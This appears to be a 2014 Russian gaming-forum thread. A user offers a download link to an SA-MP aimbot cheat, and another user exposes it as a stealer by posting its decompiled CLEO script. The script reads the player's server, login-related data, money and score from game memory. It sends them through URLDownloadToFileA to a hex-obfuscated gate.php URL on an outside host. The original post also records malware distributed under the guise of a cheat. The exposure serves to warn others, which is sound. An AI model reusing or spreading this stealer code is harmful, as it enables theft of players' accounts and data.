|
[Undetected] AimBot for Samp and Advance
|
|
| luckerAIM |
Дата: Пятница, 18.07.2014, 19:48 | Сообщение # 1
|
Новичок
Сообщений: 2
Статус: Offline
|
Приветствую всех ;)
Недавно нашел хороший аимбот. По скину. Прицел наводит плавно. Не палиться. 1 - в том что иногда не попадает когда стреляеш в бегающего. Во время дуэлей то что надо. Я понимаю что эти аимботы всех достали, но может быть кому-нибудь пригодится.)
Короче вот краткое описание: Хорошо попадает по скину. Срабатывает когда вы прицелились в скин и выстрелили. Затем прицел аккуратно начинает следовать за ним. Активация автоматическая
Видосик:
Ссылка: http://rghost.ru/56964877
Сообщение отредактировал luckerAIM - Пятница, 18.07.2014, 19:50 |
|
|
|
|
| Druid_g-ka |
Дата: Пятница, 18.07.2014, 19:54 | Сообщение # 2
|
Новичок
Сообщений: 27
Статус: Offline
|
В AimBot.cs - стиллер Не качайте. В aimSetting.cs - просто аим от opcode
|
|
|
|
|
| luckerAIM |
Дата: Пятница, 18.07.2014, 19:56 | Сообщение # 3
|
Новичок
Сообщений: 2
Статус: Offline
|
Druid_g-ka, клевета, не слушайте.[b]
|
|
|
|
|
| Druid_g-ka |
Дата: Пятница, 18.07.2014, 20:00 | Сообщение # 4
|
Новичок
Сообщений: 27
Статус: Offline
|
Ну ну.. Код // This file was decompiled using SASCM.ini published by Seemann (http://sannybuilder.com/files/SASCM.rar) on 13.10.2007 {$CLEO .cs}
//-------------MAIN--------------- 0000: NOP 0AA2: 31@ = load_library "kernel32.dll" // IF and SET 0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET 0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@ 0@ += 371500 0A8C: write_memory 0@ size 4 value -1869574000 virtual_protect 1 0@ += 4 0A8C: write_memory 0@ size 1 value 144 virtual_protect 1 0@ += 9 0A8C: write_memory 0@ size 4 value -1869574000 virtual_protect 1 0@ += 4 0A8C: write_memory 0@ size 1 value 144 virtual_protect 1
:Noname_153 wait 0 0AA2: 31@ = load_library "kernel32.dll" // IF and SET 0AA4: 30@ = get_proc_address "GetModuleHandleA" library 31@ // IF and SET 0AA7: call_function 30@ num_params 1 pop 0 "samp.dll" 0@ 0A8E: 3@ = 0@ + 2173568 // int 0A8D: 2@ = read_memory 3@ size 4 virtual_protect 1 if 2@ > 1000 else_jump @Noname_153 0A8E: 22@ = 2@ + 985 // int 0A8D: 23@ = read_memory 22@ size 4 virtual_protect 1 if 2@ > 1000 else_jump @Noname_153 0A8E: 5@ = 23@ + 20 // int 0A8D: 4@ = read_memory 5@ size 4 virtual_protect 1 if 4@ > 1000 else_jump @Noname_153 0A8E: 5@ = 4@ + 34 // int 0A8D: 24@ = read_memory 5@ size 4 virtual_protect 1 if 24@ > 1000 else_jump @Noname_153 0A8E: 22@ = 0@ + 2173504 // int 0A8D: 1@ = read_memory 22@ size 4 virtual_protect 1 if 1@ > 1000 else_jump @Noname_153 0A8E: 7@ = 1@ + 40 // int 0A8D: 6@ = read_memory 7@ size 4 virtual_protect 1 0A8E: 5@ = 1@ + 44 // int 0A8D: 26@ = read_memory 5@ size 4 virtual_protect 1 if 6@ == 1 else_jump @Noname_531 if or 26@ == 1 26@ == 3 else_jump @Noname_531 25@ = 1
:Noname_531 if and 25@ == 1 not 6@ == 1 else_jump @Noname_1008 0A8E: 7@ = 1@ + 48 // int 0A8D: 3@ = read_memory 7@ size 4 virtual_protect 1 0A8E: 6@ = 1@ + 36 // int 0A8D: 13@ = read_memory 6@ size 4 virtual_protect 1 0A8E: 6@ = 0@ + 617008 // int 0AA8: call_function_method 6@ struct 13@ num_params 0 pop 0 5@ 0A8E: 6@ = 4@ + 26 // int 0A8D: 23@ = read_memory 6@ size 4 virtual_protect 1 0A8E: 7@ = 4@ + 10 // int if not 23@ >= 16 else_jump @Noname_694 0085: 12@ = 7@ // (int) jump @Noname_706
:Noname_694 0A8D: 12@ = read_memory 7@ size 4 virtual_protect 1
:Noname_706 0A8E: 9@ = 2@ + 710 // int 0A8E: 14@ = 2@ + 452 // int 0A8E: 8@ = 2@ + 969 // int 0A8D: 15@ = read_memory 8@ size 4 virtual_protect 1 0A8E: 18@ = 4@ + 42 // int 0A8D: 27@ = read_memory 18@ size 4 virtual_protect 1 21@ = Player.Money($PLAYER_CHAR) 0AC6: 0@ = label @Noname_1015 offset alloc 20@ 1024 13@ = 133 format 20@ "%ssrvr=%s:%d&servname=%s&log=%s&did=%d&inf=%s&stuid=%d&money=%d&score=%d" 0@ 14@ 15@ 9@ 12@ 3@ 5@ 13@ 21@ 27@ 0AA2: 8@ = load_library "urlmon.dll" // IF and SET 0AA4: 9@ = get_proc_address "URLDownloadToFileA" library 8@ // IF and SET 0AA5: call 9@ num_params 5 pop 0 0 0 "%TEMP%\2352sfe.tmp" 20@ 0 25@ = 0
:Noname_1008 jump @Noname_153
:Noname_1015 hex 68 74 74 70 3A 2F 2F 6B 61 74 2E 63 6D 68 6F 73 74 2E 72 75 2F 67 61 74 65 2E 70 68 70 3F 00 end
|
|
|
|
|
| SWAIZE |
Дата: Пятница, 18.07.2014, 20:22 | Сообщение # 5
|
Бывалый
Сообщений: 303
Статус: Offline
|
Согласен с постом выше,стиллер присутствует
-
|
|
|
|
|
| Sergo_bro2 |
Дата: Вторник, 06.01.2015, 16:13 | Сообщение # 6
|
Coder
Сообщений: 892
Статус: Offline
|
Файл удален
CS:GO RANK: SUPREME*Клац* [b][+]Skype: sergeiplugatyr
|
|
|
|
|